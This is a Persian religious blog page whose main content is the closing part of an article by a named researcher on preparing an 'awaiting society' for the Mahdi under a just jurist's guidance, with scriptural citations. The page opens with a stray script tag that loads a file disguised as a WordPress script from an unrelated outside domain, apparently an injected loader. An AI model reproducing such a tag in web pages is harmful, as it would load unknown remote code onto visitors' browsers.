script type=’text/javascript’ src=’http://taklearn.ir/wp-includes/js/l10n.js?ver=20101110′> تربيت جامعه منتظر (قسمت پنجم و پاياني)
منجی عشق
این وبلاگ قصد دارد شما را با موضوع مهدویت بیشتر آشنا کند

تربيت جامعه منتظر (قسمت پنجم و پاياني)

مقدمه

در قسمت‌هاي قبل درباره انتظار و ويژگي‌هاي جامعه منتظر بحث شد و بيان شد كه اين ويژگي‌ها جامعه را در زمينه‌هاي فكري و ظرفيت روحي و طرح‌ريزي آماده مي‌كند. همچنين بحث رهبري و مديريت و شاخص‌هاي آن مورد اشاره قرار گرفت و اينك ادامه بحث:

تحليل تحمل مردم در دو سطح
در عصر غيبت نوبت فقاهت است که زمينه‌ امامت را فراهم سازد. ولي فقيه، شئوني دارد که مردم وظيفه دارند در عصر غيبت به او رو نمايند.

اگر فقيه تحمل مردم را براي حکومت خود آماده بيند، کار او سنگين‌تر مي‌شود. او بايد با حکومت خود، بسترها و زمينه‌هاي ظهور را با تربيت جامعه منتظر بيافريند. در اين صورت، مردم با تحمل حکومت فقيه عادل، خود را براي دست‌يابي به حکومت امام آماده مي‌سازند و بدين‌وسيله، به سطح بالاتري از تحمل و ظرفيت مي‌رسند تا قابليت و لياقت حکومت آسماني و پاک را پيدا كنند و ضرورت چنين رهبر و امامي را احساس کنند و به اين بلوغ برسند که انسان در اين جهان هستي پيوند پيچيده و رابطه گسترده‌اي دارد و به اين رابطه‌ها آگاهي ندارد، پس رسالتي و هم‌چنان امامتي مي‌خواهد؛ رسالتي که قانون رابطه‌ها را بياموزد و امامتي که پيوسته در هر مقطع تاريخي براي نسل‌ها جلودار و پيشوا باشد و آنان را مديريت و رهبري نمايد.
انسان در استمرار با نيروهاي خود، با نظام هستي و جامعه پيوند دارد. بنابراين، او به حکومتي نياز دارد که از شاخص‌هاي زير برخوردار باشد:
1. هم‌آهنگ با نظام هستي؛
2. حاکمي آگاه به اين نظام هستي؛
3. قانوني برآمده از اين نظام هستي؛
بنابراين زاويه ديد، حکومت جامعه منتظر، امامت، و حاکم آن، امام و قانون آن، هم‌آهنگ با کل نظام هستي است. بر اين پايه، حاکم، بر تمام روابط انسان با هستي و از قانون‌مندي آنها آگاه و از کشش‌ها و جاذبه‌ها نيز آزاد بايد باشد؛ همان عصمت و ملاک انتخاب حاکم است.
طرح حکومتي در رابطه با کل نظام هستي، به کساني نياز دارد که به تمام هستي آگاه و از تمام کشش‌ها آزاد باشند. بنابراين، ناديده گرفتن عصمت و کنار گذاشتن آگاهي و آزادي حاکم، با جدا کردن و بريدن انسان از جهان هستي برابر است. انسان هنگامي که جايگاه حکومت را بشناسد و حاکم را در رابطه انسان با کل هستي بپذيرد، درود خود را بر «تنها راه» روانه مي‌سازد و جز آناني را که از طريق وحي، به تمام هستي آگاه شده‌اند، رهبر و حاکمي نمي‌گيرد. بايد توجه داشت که هرگز اين حاکم را «تحميل» نمي‌کنند، تنها او را در دسترس مي‌گذارند و خود انسان‌ها بايد او را «کشف» کنند و پذيرا شوند. هم‌چنان که در مسير تأمين نيازهاي فسيلي و هسته‌اي خود، با تلاش‌هاي سخت و فراوان، به کشف و بهره‌برداري آنها دست مي‌يابد؛ انسان براي رسيدن به نياز عظيم‌تر خود در هستي که همان وسيله راه يافتن و جهت گرفتن است، بايد بکوشد تا آن را کشف کند و بهره‌مند شود و براي تحقق کشف امام خود بايد زمينه‌ را فراهم سازد و جامعه منتظر را تربيت نمايد. از آن‌رو که چنين امامي ضرورت دارد، پس وجود دارد.
انسان اين‌گونه امامي را بايد کشف کند و زمينه امامتش را فراهم سازد. همان‌گونه که آدمي بسياري از نشدني‌ها را شدني ساخت. تنها کاري انجام مي‌شود که براي انسان مسأله باشد و آن را بخواهد و خواستن توانستن، است. مقصود، آن نبوده که آدم‌ها به ناز و کرشمه در آيند؛ انسان بايد با انتخاب خود امام را پذيرا باشد و زمينه‌هاي حکومتش را فراهم سازد؛  (لِيقُومَ النَّاسُ بِالْقِسْطِ).[1]
فقيهان در عصر غيبت وظيفه دارند که با بينات، کتاب و ميزان، آستانه تحمل مردم را ارتقا بخشند و آنان را به ظرفيتي برسانند که خواسته‌ها و تمايلاتشان، متناسب با قدر و اندازه وجودي‌شان گردد و حاکميت فقيه عادلي را که مي‌خواهد زمينه‌ساز ظهور دولت کريمه باشد، پذيرا شوند.
اگر مردم پذيراي حکومت فقيه عادل نشدند و آن را تحمل نکنند و براي زمينه‌سازي ظهور پا پيش ننهند، ظلم فراگير مي‌شود. بشر پس از روگرداني‌ها از حق و چموشي‌هاي فراوان، همراه با حکومت‌هاي دست‌ساز خود و تمايلاتش، ستم‌ آنها را مي‌بيند و به خستگي و رنجيدگي مي‌رسد.
بنابراين، مردم دو راه بيشتر ندارند:
1. يا بايد همراه با فقيه عادل براساس بينات، کتاب و ميزان زمينه‌هاي تحمل حکومت معصوم را فراهم سازند و آن حقيقت در دست‌رس را با تلاش و کوشش کشف کنند و زمينه‌هاي کشف آن را آماده نمايند؛
2. يا بايد خود را به امواج پرتلاطم ظلم و جور بسپارند تا پس از کوبيده شدن بر صخره‌ها و تجربه‌هاي مکرر درد و رنج‌ها، خسته شوند و به انتظار بنشينند و رو به پاکان هستي آوردند.
انسان تا انديشه‌هاي مدفون خويش و گنج‌هاي پنهان در درونش را بازخواني نکند و به شناخت خويش و خودباوري دست نيابد، جاي‌گاه رفيعش را نمي‌شناسد و به کم‌ها قانع مي‌شود و کمترين‌ها بر او حکومت خواهند نمود. چنين انساني هرگز تحمل حکومت قامت بلند امامت را نخواهد داشت. هم‌چنان که گفته‌اند: «ان امرنا صعب مستصعب، لايحتمله الا ملک مقرب او نبيٌ مرسل او عبد مؤمن امتحن الله قلبه للايمان،»[2] تحمل امر و حکومت معصوم، به شهود تمام و يا دل عاشق و مبتلا و ساخته شده نياز دارد.[3]
اهداف حکومت معصوم فراتر از رفاه، آزادي، امنيت، تکامل و... است و حوزه حکومت معصوم هم بالاتر از سطح جامعه و مدت هفتاد سال زندگي دنياست. براين پايه، حکومتي ديگر را بر مي‌تابد و معيار و روش انتخابي ديگر را تقاضا مي‌نمايد. اگر به اهداف حکومت و قلمرو حکومت متناسب با قدر، استمرار و ارتباط انسان در هستي توجه نشود، مي‌توان به همين حکومت‌هاي بافته و دست‌ساز فيلسوفان و نخبگان دل‌خوش بود و به دام‌پروري بزک شده هفتاد ساله دل‌گرم.[4
تا زماني که نگاه و تلقي مردم از خود دگرگون نشود، تحمل حکومت پاکان هستي را نخواند داشت، هم‌چنان که تاريخ گواهي مي‌دهد، پس از داستان پرخون نينوا مردم به امام سجاد عليه السلام روي نياوردند. چون آنان به بيش از رفاه، امن و آزادي راه نيافته بودند و نمي‌خواستند و از خود بيش از اينها تلقي نداشتند.
فقيه عادل بايد در تربيت جامعه منتظر همانند رسول خدا و امامان، آغازگر ارائه دين باشد، هم‌چنان که دين با رسول آغاز مي‌شود و او پيوسته آيات حق را تلاوت مي‌کند و مي‌گويد که اي انسان تو محتاجي، مفتقري و مضطري و اين‌گونه پيام کلام خداوند را مي‌رسانند:  (أَنتُمُ الْفُقَرَاء إِلَى اللَّهِ وَاللَّهُ هُوَ الْغَنِي الْحَمِيدُ).[5]
انسان زماني به سرشاري و غنا مي‌رسد که تدبير و اختيار خود را محو تدبير و اختيار آفريدگار هستي کند و به تفويض و تسليم و اطاعت او بنشيند. اين زمان آن‌گاه محقق شدني است که آدمي ريشه‌هاي اضطرار و مراکز بي‌چارگي و افتقار خود را بشناسد و مجبور شود در برنامه‌ريزي، تدبير، اختيار و انتخابش براي اين انسان که در گستره قدر، استمرار و ارتباط‌هايش، بدان توجه مي‌شود، به وحي روي آورد. از همين‌رو، فقيه عادل براساس روش بيناتي با دگرگون کردن تلقي افراد جامعه از خودشان، جاي‌گاه آنان را در سطح هستي تبيين مي‌کند و ضرورت اهداف حکومتي و قلمرو حکومتي متناسب با آن و در همان سطح را براي او روشن مي‌نمايد. و بدين‌سان، ريشه‌هاي اضطرار و افتقار او را به حاکمي آگاه و آزاد مي‌شناسانند. انسان بايد به واماندگي، بيچارگي‌، نيازهاي واقعي و اضطرارش به وحي و حجت برسد و بخواهد که خواستن، توانستن است، هم‌چنان که قرآن مي‌فرمايد:  (أَمَّن يجِيبُ الْمُضْطَرَّ إِذَا دَعَاهُ وَيكْشِفُ السُّوءَ وَيجْعَلُكُمْ خُلَفَاء الأرْضِ).[6] با همين اضطرار و درک بي‌چارگي و افتقار و واماندگي خويش، حجاب بين فطرت و مبدأ فيض را مي‌توانيم برطرف سازيم.
چه کسي جز خداوند به فرياد مضطر درمانده مي‌تواند برسد؟ کساني که به حال اضطرار برسند و اضطرار خويش را درک کنند و بدانند و از خدا بخواهند. خداوند هم بدي‌ها و سختي‌ها را از آنان برطرف مي‌سازد و به حکومت و جانشيني زمين مي‌رساند. فقيه عادل، با تبيين جايگاه انسان در هستي و دگرگوني در نوع تلقي افراد جامعه، آنان را به درک اضطرارشان نزديک مي‌سازد و بدين صورت، زبان خواستن و دعاي ايشان به جريان مي‌افتد. خواستني در سطح جاي‌گاه انسان، حکومتي در سطح اهداف بالاتر از رفاه و امن و...، قلمروي در سطح فراتر از جامعه و هفتاد سال دنيا. و حاکمي در سطح آگاهي، آزادي و عصمت. انسان اين‌گونه با درک اضطرار به دعا و خواستن رو مي‌آورد و به آستانه حاکميت معصوم راه مي‌يابد، هم‌چنان که در توقيع شريف آمده است: «و اکثروا الدعاء بتعجيل الفرج فانّ ذلک فرجکم.» کليد فرج در دعا و خواستن و کليد دعا و خواستن درک اضطرار است.
فقيه عادل، جامعه منتظر را با روش بيناتي به درک اضطرار مي‌رساند و خواستن انسان‌ها را به بلوغ و شکوفايي مي‌کشاند.
السلام عليک يا صاحب التدبير.
سلام بر تنها رهبر جهاني.
السلام عليک يا سبيل الله الذي من سلک غيره هلک.
سلام بر تنها راه.
پي‌نوشت
--------------------------------------------------------------------------------
[1]. سوره حديد، آيه 25.
[2]. بصائر الدرجات، محمد بن حسن بن صفار، ص 26؛ بحار، ج2، ص 71 و ص 184، ح 30 و ح 7. )محققاً امر ما سخت و گران است و كسي تحمل نمي‌كند آن را مگر فرشته مقرب يا نبي مرسل يا بنده مومني كه قلبش از ايمان پرشده باشد.
[3]. ع ـ ص، وارثان عاشوران، ص 36.
[4]. ر.ک: پيشين.
[5]. سوره فاطر، آيه 15.
[6]. سوره نمل، آيه 62.

 


دكتر فرامرز سهرابي: عضو هيئت علمي پژوهشكده مهدويت


نظرات شما عزیزان:

نام :
آدرس ایمیل:
وب سایت/بلاگ :
متن پیام:
:) :( ;) :D
;)) :X :? :P
:* =(( :O };-
:B /:) =DD :S
-) :-(( :-| :-))
نظر خصوصی

 کد را وارد نمایید:

 

 

 

عکس شما

آپلود عکس دلخواه:





درباره وبلاگ

چه با شکوه است تصویر ایامی که تنها حاکم عالم، دادگستری چون قائم آل محمد(عج) باشد. و چه زیباست زندگی در ایامی که پرچمی جز پرچم توحید به اهتزاز نباشد و ندائی جز ندای حق به گوش جهانیان نرسد، دورانی سرشار از عطوفت، مهربانی، عدالت، آزادگی و کرامت انسانی.
موضوعات
پيوندها

تبادل لینک هوشمند
برای تبادل لینک  ابتدا ما را با عنوان منجی عشق و آدرس monjieeshgh.LoxBlog.ir لینک نمایید سپس مشخصات لینک خود را در زیر نوشته . در صورت وجود لینک ما در سایت شما لینکتان به طور خودکار در سایت ما قرار میگیرد.





نويسندگان


ورود اعضا:

نام :
وب :
پیام :
2+2=:
(Refresh)

خبرنامه وب سایت:





آمار وب سایت:  

بازدید امروز : 6
بازدید دیروز : 0
بازدید هفته : 161
بازدید ماه : 254
بازدید کل : 33023
تعداد مطالب : 50
تعداد نظرات : 14
تعداد آنلاین : 1